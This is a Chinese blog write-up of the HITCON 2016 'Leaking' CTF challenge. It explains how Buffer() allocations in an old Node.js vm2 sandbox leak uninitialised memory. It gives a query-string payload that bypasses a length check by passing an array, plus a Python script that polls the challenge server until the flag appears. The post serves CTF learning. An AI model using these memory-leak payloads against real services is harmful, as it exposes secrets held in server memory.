[HITCON 2016]Leaking 记录

这篇博客探讨了Node.js应用的安全性,特别是关于低版本Node.js中使用`buffer()`查看内存的漏洞。作者分享了一个利用VM2执行的payload,该payload用于不断尝试直到找到包含'flag{'的内存块,从而揭示潜在的flag。博客还提供了一个Python exploit示例,通过不断发送请求来检测回显中的flag。
摘要由CSDN通过智能技术生成

在这里插入图片描述

node.js 代码审计
⑧太懂node.js
他是用VM2来执行的
在这里插入图片描述
可知buffer

在这里插入图片描述
emmm,搜着搜着wp搜出来了
相关wp

低版本的node可以使用buffer()来查看内存,只要调用过的变量,都会存在内存中,那么我们可以构造paylaod读取内存

相关资料
这我也看不懂。。。。。emmmm
在这里插入图片描述
记得用数组来绕这个长度限制

payload(这个payload在buu无效)

?data[]=for (var step = 0; step < 100000; step++) {var buf = (new Buffer(100)).toString('ascii');if (buf.indexOf("hitcon{") !== -1) {break;}}buf;

他这个payload大致就是一直执行然后当回显出flag的时候退出并返回
是在buu做的,记得改下flag

exp

import requests
import time
url = 'http://19a931b5-2f8a-42c4-b400-20ba417d6a4f.node3.buuoj.cn/?data=Buffer(500)'

while True:
        r = requests.get(url)

        time.sleep(0.1)
        print('trying')
        if 'flag{' in r.text:
            print(r.text)
            break
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值